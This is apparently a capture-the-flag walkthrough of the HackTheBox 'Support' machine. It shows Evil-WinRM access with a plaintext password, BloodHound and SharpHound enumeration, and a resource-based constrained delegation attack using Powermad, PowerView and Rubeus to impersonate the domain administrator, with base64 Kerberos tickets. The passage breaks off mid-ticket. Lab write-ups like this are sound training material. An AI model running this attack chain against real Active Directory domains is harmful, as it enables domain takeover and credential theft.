./evil-winrm/bin/evil-winrm -u support -p 'Ironside47pleasure40Watchful' -i support.htb
evil-winrm connect
nopedawn@npdn ~/L/H/S/Support> ./evil-winrm/bin/evil-winrm -u support -p 'Ironside47pleasure40Watchful' -i support.htb

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\\Users\\support\\Documents> whoami
support\\support
*Evil-WinRM* PS C:\\Users\\support\\Documents> ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : .htb
   IPv4 Address. . . . . . . . . . . : 10.129.230.181
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.10.10.2
                                       10.129.0.1
*Evil-WinRM* PS C:\\Users\\support\\Documents>

We successfully got the powershell, now it’s time to performing privilege escalation

Get domains controller information

Get-ADDomain
*Evil-WinRM* PS C:\\Users\\support\\Documents> Get-ADDomain


AllowedDNSSuffixes                 : {}
ChildDomains                       : {}
ComputersContainer                 : CN=Computers,DC=support,DC=htb
DeletedObjectsContainer            : CN=Deleted Objects,DC=support,DC=htb
DistinguishedName                  : DC=support,DC=htb
DNSRoot                            : support.htb
DomainControllersContainer         : OU=Domain Controllers,DC=support,DC=htb
DomainMode                         : Windows2016Domain
DomainSID                          : S-1-5-21-1677581083-3380853377-188903654
ForeignSecurityPrincipalsContainer : CN=ForeignSecurityPrincipals,DC=support,DC=htb
Forest                             : support.htb
InfrastructureMaster               : dc.support.htb
LastLogonReplicationInterval       :
LinkedGroupPolicyObjects           : {CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=support,DC=htb}
LostAndFoundContainer              : CN=LostAndFound,DC=support,DC=htb
ManagedBy                          :
Name                               : support
NetBIOSName                        : SUPPORT
ObjectClass                        : domainDNS
ObjectGUID                         : 553cd9a3-86c4-4d64-9e85-5146a98c868e
ParentDomain                       :
PDCEmulator                        : dc.support.htb
PublicKeyRequiredPasswordRolling   : True
QuotasContainer                    : CN=NTDS Quotas,DC=support,DC=htb
ReadOnlyReplicaDirectoryServers    : {}
ReplicaDirectoryServers            : {dc.support.htb}
RIDMaster                          : dc.support.htb
SubordinateReferences              : {DC=ForestDnsZones,DC=support,DC=htb, DC=DomainDnsZones,DC=support,DC=htb, CN=Configuration,DC=support,DC=htb}
SystemsContainer                   : CN=System,DC=support,DC=htb
UsersContainer                     : CN=Users,DC=support,DC=htb

From the output we found another subdomain, dc.support.htb let’s add that into hosts file

edit hosts file
nopedawn@npdn ~/L/H/S/Support> sudo nano /etc/hosts
...
10.129.230.181 support.htb dc.support.htb

Check if the current user is a member of any interesting groups

check current user groups
*Evil-WinRM* PS C:\\Users\\support\\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                           Attributes
========================================== ================ ============================================= ==================================================
Everyone                                   Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\\Remote Management Users            Alias            S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\\Users                              Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\\NETWORK                       Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\\Authenticated Users           Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\\This Organization             Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
SUPPORT\\Shared Support Accounts            Group            S-1-5-21-1677581083-3380853377-188903654-1103 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\\NTLM Authentication           Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\\Medium Mandatory Level     Label            S-1-16-8192
*Evil-WinRM* PS C:\\Users\\support\\Documents>

The support account appears to belong to a non-standard group named Shared Support Accounts, in addition to the Authenticated Users group. Let’s use BloodHound to map out possible attack paths within the domain that could help us escalate our privileges.

First, we need to install requirements

sudo apt update && \
  sudo apt install -y apt-transport-https ca-certificates curl && \
  curl -fsSL https://debian.neo4j.com/neotechnology.gpg.key | sudo gpg --dearmor -o /usr/share/keyrings/neo4j.gpg && \
  echo 'deb [signed-by=/usr/share/keyrings/neo4j.gpg] https://debian.neo4j.com stable 4.4' | sudo tee /etc/apt/sources.list.d/neo4j.list && \
  sudo apt update && \
  sudo apt install neo4j -y

Next, Install Java 11

sudo apt-get update
sudo apt-get install -y openjdk-11-jre

Switch the Default Java Version

sudo update-alternatives --config java

This command will output a list of all installed Java versions. It will look something like this:

Selection    Path                                            Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-21-openjdk-amd64/bin/java      2111      auto mode
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java      1111      manual mode
  2            /usr/lib/jvm/java-21-openjdk-amd64/bin/java      2111      manual mode

Press <enter> to keep the current choice[*], or type selection number:

Type the Selection number that corresponds to java-11-openjdk-amd64 (in the example above, you would type 1) and press Enter.

Confirm that Java 11 is now the active version:

java -version

Once installed, let’s start the Neo4j db with the following command.

sudo systemctl start neo4j
sudo systemctl status neo4j

Don’t forget to change neo4j password

cypher-shell -u neo4j -p neo4jneo4j # type min 8 characters

I set a new credential for neo4j to neo4j:neo4jneo4j

ⓘ If you can't access http://localhost:7474, follow this step

Make sure to uncomment this line in neo4j.conf file:

  1. Open the Neo4j configuration file in a text editor:
sudo nano /etc/neo4j/neo4j.conf

  1. Press Ctrl+W to search, and look for listen_address.

  2. Find the line that looks like this:

#server.default_listen_address=0.0.0.0
# or
#dbms.default_listen_address=0.0.0.0
  1. Remove the # at the beginning of the line to uncomment it.
  2. Save the file (Ctrl+O, Enter) and exit (Ctrl+X).
  3. Restart the service to apply the changes:
sudo systemctl restart neo4j

Next requirements, install bloodhound-python

bloodhound-python install
git clone https://github.com/dirkjanm/bloodhound.py
cd BloodHound.py
python3 -m pip install .

Execute this following command

bloodhound-python -d support.htb \
  -u ldap \
  -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -dc dc.support.htb \
  -ns 10.129.230.181 \
  -c All

Then, download pre-compiled BloodHound binary and we will execute it after.

unzip BloodHound-linux-x64.zip
./BloodHound-linux-x64/BloodHound

Click on Login and set BloodHound aside for now, since we first need to gather data from the remote machine before continuing. To proceed, clone the BloodHound repository locally.

git clone https://github.com/BloodHoundAD/BloodHound

We will use the SharpHound.exe binary to gather Active Directory data, which is included in the BloodHound project, specifically within the BloodHound/Collectors/ directory.

We can see the existing Evil-WinRM session to upload it, as long as SharpHound.exe is located in the same directory from which Evil-WinRM was launched.

cd C:\\Users\\support\\Documents
upload BloodHound\\\\Collectors\\\\SharpHound.exe
upload sharphound.exe file
*Evil-WinRM* PS C:\\Users\\support\\Documents> cd C:\\Users\\support\\Documents
*Evil-WinRM* PS C:\Users\support\Documents> upload BloodHound\\\\Collectors\\\\SharpHound.exe

Info: Uploading /mnt/d/CTF/HTB/Machines/Support/BloodHound//Collectors//SharpHound.exe to C:\Users\support\Documents\SharpHound.exe

Data: 1395368 bytes of 1395368 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\Users\support\Documents>

After the binary has been uploaded, let’s execute it.

./SharpHound.exe
sharphound.exe executing
*Evil-WinRM* PS C:\Users\support\Documents> ./SharpHound.exe
2026-04-15T21:48:39.9917461-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2026-04-15T21:48:40.1636559-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2026-04-15T21:48:40.1948692-07:00|INFORMATION|Initializing SharpHound at 9:48 PM on 4/15/2026
2026-04-15T21:48:40.3825087-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for support.htb : dc.support.htb
2026-04-15T21:48:40.5073870-07:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2026-04-15T21:48:40.7104880-07:00|INFORMATION|Beginning LDAP search for support.htb
2026-04-15T21:48:40.7573648-07:00|INFORMATION|Producer has finished, closing LDAP channel
2026-04-15T21:48:40.7729843-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2026-04-15T21:49:10.7886452-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 36 MB RAM
2026-04-15T21:49:24.2729888-07:00|INFORMATION|Consumers finished, closing output channel
2026-04-15T21:49:24.3198634-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2026-04-15T21:49:24.5855033-07:00|INFORMATION|Status: 108 objects finished (+108 2.511628)/s -- Using 44 MB RAM
2026-04-15T21:49:24.5855033-07:00|INFORMATION|Enumeration finished in 00:00:43.8820323
2026-04-15T21:49:24.6792386-07:00|INFORMATION|Saving cache with stats: 67 ID to type mappings.
 67 name to SID mappings.
 0 machine sid mappings.
 2 sid to domain mappings.
 0 global catalog mappings.
2026-04-15T21:49:24.6948683-07:00|INFORMATION|SharpHound Enumeration Completed at 9:49 PM on 4/15/2026! Happy Graphing!
*Evil-WinRM* PS C:\Users\support\Documents> dir

A ZIP file will appear in the same directory.

*Evil-WinRM* PS C:\Users\support\Documents> dir


    Directory: C:\Users\support\Documents


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         4/15/2026   9:49 PM          12328 20260415214924_BloodHound.zip
-a----         4/15/2026   8:58 PM        1046528 SharpHound.exe
-a----         4/15/2026   9:49 PM          10022 YzgyNDA2MjMtMDk1ZC00MGYxLTk3ZjUtMmYzM2MzYzVlOWFi.bin

This file contains all the collected data. We can now download it using Evil-WinRM.

download 20260415214924_BloodHound.zip
download zip file
*Evil-WinRM* PS C:\Users\support\Documents> download 20260415214924_BloodHound.zip

Info: Downloading C:\Users\support\Documents\20260415214924_BloodHound.zip to 20260415214924_BloodHound.zip

Info: Download successful!

Choose Upload Data and select the zip file into the BloodHound window

After importing the data, we can look up SUPPORT@SUPPORT.HTB in the search bar. Then, by right-clicking on the user object and selecting “Mark User as Owned,” we indicate that we already have access to the system with this account.

The user’s details are displayed in the top-left corner, just below the search bar.

In the Group Delegated Object Control section, we can see 1 value. This indicates that a group our user belongs to has permissions to control certain objects within the domain. Just click on it to view more details.

Back to Evil-WinRM we want to get the user flag

*Evil-WinRM* PS C:\Users\support\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\support\Desktop> dir


    Directory: C:\Users\support\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         4/15/2026   8:48 PM             34 user.txt


*Evil-WinRM* PS C:\Users\support\Desktop> type user.txt
REDACTED

The flag is stored in C:\Users\support\Desktop\user.txt

Next we want to enumerate shell as domain get the root flag

We can see that the support user belongs to the Shared Support Accounts group, which has GenericAll permissions over the DC.SUPPORT.HTB computer object.

Uploading powershell script

*Evil-WinRM* PS C:\Users\support\Documents> upload PowerView.ps1

Info: Uploading /mnt/d/CTF/HTB/Machines/Support/PowerView.ps1 to C:\Users\support\Documents\PowerView.ps1

Data: 1027036 bytes of 1027036 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\Users\support\Documents> upload Powermad.ps1

Info: Uploading /mnt/d/CTF/HTB/Machines/Support/Powermad.ps1 to C:\Users\support\Documents\Powermad.ps1

Data: 180768 bytes of 180768 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\Users\support\Documents> upload Rubeus.exe

Info: Uploading /mnt/d/CTF/HTB/Machines/Support/Rubeus.exe to C:\Users\support\Documents\Rubeus.exe

Data: 369320 bytes of 369320 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\Users\support\Documents> .\PowerView.ps1
*Evil-WinRM* PS C:\Users\support\Documents> .\Powermad.ps1

Verify that users can add machines to the domain:

*Evil-WinRM* PS C:\Users\support\Documents> Import-Module .\PowerView.ps1
*Evil-WinRM* PS C:\Users\support\Documents> Get-DomainObject -Identity 'DC=SUPPORT,DC=HTB' | select ms-ds-machineaccountquota

ms-ds-machineaccountquota
-------------------------
                       10

The quote is set to the default of 10, which is good.

Show the Name and OS Version in environment:

*Evil-WinRM* PS C:\Users\support\Documents> Get-DomainController | select name,osversion | fl

Name      : dc.support.htb
OSVersion : Windows Server 2022 Standard

Check that the msds-allowedtoactonbehalfofotheridentity is empty:

*Evil-WinRM* PS C:\Users\support\Documents> Get-DomainComputer DC | select name,msds-allowedtoactonbehalfofotheridentity | fl

name                                     : DC
msds-allowedtoactonbehalfofotheridentity :

It’s time to creating a Fake User:

This time I’ll use Powermad New-MachineAccount to create a fake user/computer:

*Evil-WinRM* PS C:\Users\support\Documents> Import-Module .\Powermad.ps1
*Evil-WinRM* PS C:\Users\support\Documents> New-MachineAccount -MachineAccount 0xdfFakeComputer -Password $(ConvertTo-SecureString '0xdf0xdf123' -AsPlainText -Force)
[+] Machine account 0xdfFakeComputer added
*Evil-WinRM* PS C:\Users\support\Documents>

Save the SID variable of the computer

*Evil-WinRM* PS C:\Users\support\Documents> $fakesid = Get-DomainComputer 0xdfFakeComputer | select -expand objectsid
*Evil-WinRM* PS C:\Users\support\Documents> $fakesid
S-1-5-21-1677581083-3380853377-188903654-6101
*Evil-WinRM* PS C:\Users\support\Documents>

Attacking

*Evil-WinRM* PS C:\Users\support\Documents> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($fakesid))"
*Evil-WinRM* PS C:\Users\support\Documents> $SDBytes = New-Object byte[] ($SD.BinaryLength)
*Evil-WinRM* PS C:\Users\support\Documents> $SD.GetBinaryForm($SDBytes, 0)
*Evil-WinRM* PS C:\Users\support\Documents> Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
*Evil-WinRM* PS C:\Users\support\Documents>

Verify if it’s worked:

*Evil-WinRM* PS C:\Users\support\Documents> $RawBytes = Get-DomainComputer DC -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
*Evil-WinRM* PS C:\Users\support\Documents> $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
*Evil-WinRM* PS C:\Users\support\Documents> $Descriptor.DiscretionaryAcl


BinaryLength       : 36
AceQualifier       : AccessAllowed
IsCallback         : False
OpaqueLength       : 0
AccessMask         : 983551
SecurityIdentifier : S-1-5-21-1677581083-3380853377-188903654-6101
AceType            : AccessAllowed
AceFlags           : None
IsInherited        : False
InheritanceFlags   : None
PropagationFlags   : None
AuditFlags         : None


*Evil-WinRM* PS C:\Users\support\Documents>

An ACL entry is available with the SecurityIdentifier of fake computer, and it is marked as AccessAllowed.

Now, Re-run Bloodhound

bloodhound-python -c ALL \
-u ldap \
-p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
-d support.htb \
-ns 10.129.230.181
nopedawn@npdn ~/L/H/S/Support> bloodhound-python -c ALL \
-u ldap \
-p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
-d support.htb \
-ns 10.129.230.181
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: support.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 21 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: 0xdfFakeComputer.support.htb
INFO: Querying computer: dc.support.htb
WARNING: Could not resolve: 0xdfFakeComputer.support.htb: The DNS query name does not exist: 0xdfFakeComputer.support.htb.
INFO: Done in 00M 09S

From output it can’t find 0xdfFakeComputer.support.htb

Auth as Fake Computer using Rubeus to get the hash of my fake computer account:

*Evil-WinRM* PS C:\Users\support\Documents> .\Rubeus.exe hash /password:0xdf0xdf123 /user:0xdfFakeComputer /domain:support.htb

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.4


[*] Action: Calculate Password Hash(es)

[*] Input password             : 0xdf0xdf123
[*] Input username             : 0xdfFakeComputer
[*] Input domain               : support.htb
[*] Salt                       : SUPPORT.HTB0xdffakecomputer
[*]       rc4_hmac             : B1809AB221A7E1F4545BD9E24E49D5F4
[*]       aes128_cts_hmac_sha1 : F7A01B9628299B9FB8A93CFCCF8E747C
[*]       aes256_cts_hmac_sha1 : 90499A3696F8B07B9CDB02E919F193768519340F7812F6050177E6997262B6F0
[*]       des_cbc_md5          : 76EF4F97ADD99176

*Evil-WinRM* PS C:\Users\support\Documents>

Keep that rc4_hmac value to execute next command

*Evil-WinRM* PS C:\Users\support\Documents> .\Rubeus.exe s4u /user:0xdfFakeComputer$ /rc4:B1809AB221A7E1F4545BD9E24E49D5F4 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.4

[*] Action: S4U

[*] Using rc4_hmac hash: B1809AB221A7E1F4545BD9E24E49D5F4
[*] Building AS-REQ (w/ preauth) for: 'support.htb0xdfFakeComputer$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFvjCCBbqgAwIBBaEDAgEWooIEzTCCBMlhggTFMIIEwaADAgEFoQ0bC1NVUFBPUlQuSFRCoiAwHqAD
      AgECoRcwFRsGa3JidGd0GwtzdXBwb3J0Lmh0YqOCBIcwggSDoAMCARKhAwIBAqKCBHUEggRxJw9sybff
      FRr5m0DZlQHE5BECBIijNYT7HgbBI3PAjw37SXeLWYFimP+l2vy2Lz+SpSfpea5bmbYjyACa0Ds10ynG
      pHqHHKFc9JGYv43udvwYVsP5b6b86y3wjNPifXuyrtyIcuJjU8TgjRZzBYoiha331GtYNBhZkqlzFNUF
      a6uNRkwGH2SHOip/ajt4KBNMlnphbxC5w+Hl2YYI2w0axYDuQ4eW7XER+BZ/8E0we1TexpsyPSAHVND5
      SRFWcL/jUMKgWoIFTQQP35Iq3uMEqvnlegGNmvTFOWwOOgU4oNLsSifRaXuC5/Y4WjDnQ1hJcp+GE56j
      7BMihCysmi9H5XgYrmvZpVc2RX/TFiw4LHegUzjdu7RdpNlbyllGUZenw+1GQeDISxCFfDsHxek4IAOR
      FL2V/3zJ9jCYyGFyyneq3UaT8JMysEQUMlSU1SOvWyd3fNR28VBDlzTpqrP850DONpktMvR0XJaJdZbr
      vtoGndoG39d3jAZ4Ft63oVD/9IHTocNRsoRAcbZGpwDPXEfrtfjjyWZJfVxgJWQLN4gq+7jpjS/NWUIz
      Rp4PcLfYfExKcgyqBPWt41hyRRkUF+iVDeB9RWvr69gEiH1wQn5+i92CLA7iDN9RuT9QSrUESd2olvXC
      kTQdQ4t4MR3s7N77qZLUBsa7Vkni4X3GIyKZmVwI1YXb1wpRLWU+h7+DhnzPahr1SY11sFEQD+oA2dmY
      W/Wc10B0eZqOnr2kJu8xvUIRKHW1ErVmvRCaSk89vxmvsD13gK9RYGHY77NAXdchvSO5yAV4Z5Gpmh9Y
      f3x6fPNWfHuXBNFyNR609w+b3ZdjGrI72pP/ghPwey3nNKx23f/i/VlMuIj9KZhgXDRtdbcfqkca9whW
      0njrBsronxnbRuBg+3wZX0QuC6UpmLMLbHisM//tRB0lhFZDnKD9ZrqxoUykudeKdsgqbG8YQxRzkuEg
      tsuzjkQ7vlReOftj71MzwnS6O0S2zXKARpvI6hzgPH55O9fe3+cqUCz08jkcs+cYHZU5yOorBZLhWOwS
      pdD52VDsLlV8V5uNNSypPHgDY0Se7q+AosCKEhRBlFujF20m7l5wQTNgPc1mMqDj9tP96RY2Qdb4sgt2
      N1/e7xf6uAgjzwEhIw12lFUXKWl0QGPwIcZH9gPQh5jqDiel0K2Yx+ov6ObwFHASXMzZ9la6iIY4CkEX
      KV+pA/+iG0JYKaff1HZeYMwPwtrsVZlOwDnOLtWyUjW3iusAIIuGo1arD39azqt3B3SB9Vx52CC4Qjmx
      fY+I5P0/2YtrigzlIuikcgELtpi+YprgbFkehKflHNxDA0k/E9Gs8ILZw48CisSURwQit2+L5sAd2kUL
      M9gpGRA1OQZU88DWrkWGOyH9yx3l8+FTSOwrP4WuqnvIvX4pAVxZanWafYI91LAySwoB2fQjysJUbImz
      R1rRVOIVBKSD3LSkElCsSyoG7yzdgtHt+Ga6WQYZOwFujmp8n4Qp0jPu+tA8M+2GFMM0o4HcMIHZoAMC
      AQCigdEEgc59gcswgciggcUwgcIwgb+gGzAZoAMCARehEgQQhleB8vqu8gT89TLXGaFPMKENGwtTVVBQ
      T1JULkhUQqIeMBygAwIBAaEVMBMbETB4ZGZGYWtlQ29tcHV0ZXIkowcDBQBA4QAApREYDzIwMjYwNDE2
      MDc0ODExWqYRGA8yMDI2MDQxNjE3NDgxMVqnERgPMjAyNjA0MjMwNzQ4MTFaqA0bC1NVUFBPUlQuSFRC
      qSAwHqADAgECoRcwFRsGa3JidGd0GwtzdXBwb3J0Lmh0Yg==


[*] Action: S4U

[*] Using domain controller: dc.support.htb (::1)
[*] Building S4U2self request for: '0xdfFakeComputer$@SUPPORT.HTB'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'administrator' to '0xdfFakeComputer$@SUPPORT.HTB'
[*] base64(ticket.kirbi):

      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
      AgEBoRUwExsRMHhkZkZha2VDb21wdXRlciQ=

[*] Impersonating user 'administrator' to target SPN 'cifs/dc.support.htb'
[*] Using domain controller: dc.support.htb (::1)
[*] Building S4U2proxy request for service: 'cifs/dc.support.htb'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc.support.htb':

      doIGeDCCBnSgAwIBBaEDAgEWooIFijCCBYZhggWCMIIFfqADAgEFoQ0bC1NVUFBPUlQuSFRCoiEwH6AD
      AgECoRgwFhsEY2lmcxsOZGMuc3VwcG9ydC5odGKjggVDMIIFP6ADAgESoQMCAQaiggUxBIIFLaCehDs4
      dCnww02C7BO+pP9zwPRZKy4L8smx8PE4nTQCncNXn96PmeYdLYEcLZjF7slCB+vttSYYhUShn1uz0O8L
      IS9f4BT9aRoTHa+lBQ/ZArJDl4QLg1vBML0jzQH2dGC+bMOSJRCxBe0dPyVEHm07gw3dsqopPWdD6fUU
      fn9um2Ldhb9Y0aj62EjRt6DOdq84oBfDPYUZbFAiZo+ZxUDdPorqdbl1dWc1zJBrZkHwykuSlvbaoM5v
      ksq6YFN7FoodAqQqB1h/1DNnP9QiJuBUqVg07pSzv3MmmyLRdDk9qLimFwUs9DFBsAfwDqEmEtHQHsNG
      sJNL7aEtBXAH1wN7QhCg0tIBK9S5yiy5mcQPwAXWavfvaA2adppDmuY1jTssiky4W+S7ZlhoWlzInEDw
      TsCcF91xrxHw8+3JaBxkccqwDt6hOzTtJi2nl9NskE4BMYrgazi7J09rKIWx6l28GIJGwMr9Rrizl0IW
      Sj5YRT2A0O/NB9cmrV8hZXjOetoX71B1Htnzy/5x6zEVWDJ36m5iEaknr47arNf4MjZStx2v6kHy3Ldt
      wg69ZLRV/EM6zfpf8ghWiXbWUQdLomQ8op/zitB5BMF3+Fkn006zbLves7CIKIx9Afast8udyehbI5XD
      ot1ugcVL+koM9g4S2mSeWHQ6SMLpanF7AxOMFTM7rhQoU/2Zv6hRFcuoZZq3golg9mTYfJ1OLhZrBVTS
      MJ6Gu6LAeNom85TFLiTS24SMihDQTQ4FeX/8k+waveSEYiNZDsHJEvxZWIUmTZQEdxMaoTq6BzYJSKv3
      H1PlAfAIi5POQAKrYEVYSsINw1rHkFdusok9Wy3CG3yng3Flq2K8j55cQoK2oTrgD9Zllf7AEz8xOogw
      8tRo/o6/JsYSLul0GrY8WP/b/bmc+NQoZNi7Eo6ZAXKbC5imVHGJ/hPTmRxtmpwXLxB3n7M000L0cCU8
      Y060xtSS9wT7ksWmhjdMPTYyCfthbMY9duDFIBO5lNSoT/u8iM5U+1szwRRWF5tJLmN+xePxzbCRW3Rg
      B1PaXqOuuisYnI7W3ElUWEz+p86DSml6I/XxicqRYXiSmKuP6QbMuo4kf/wmbmpaOsk3rXqcI7j00V3p
      xJadb+xBfKdTLzmjJAChxVx1G1k9is+dCLhTQ9LxLaaMnWI+/p2MKqPVLwP9xIlm+rvjB3U6m3n4kCvJ
      VZkZFTHiAqfJP7fGHHAt43jeFGy0rt0nlMfZMrP0OwI+bSfGQ4KtbMNnz89ab2lKy5GU9TU1qP8QN5y/
      upSIb6CrQTKwylXIjs8ySd7D9MR/h3fcNugqzFUr+ytK/1LkFeOrs78XjlRhOhbgNwsPZpGojEe4RyZN
      +wAqRXow1As4ghRM+pKLcmR9WWqne79mgSE5Li4ic4BYwCaBcXxndY05Rt4HHNjN3sZtFJo0CFhbw1kV
      RvKhWCFNNA3prfqDJvxbv9U+eHTGS0r1xMtHaAY1cB81Y6kW2xhMsar/d9EXkOB7QjETs5q2ATf9lCkW
      cSgOSUXA9k82BzGxz3cfqKQ1Nt8JhwCCxCz593ogL7l/iCKWvjgqfcRQEzfwLfbk0XcxyJ9x3hjmQ8pF
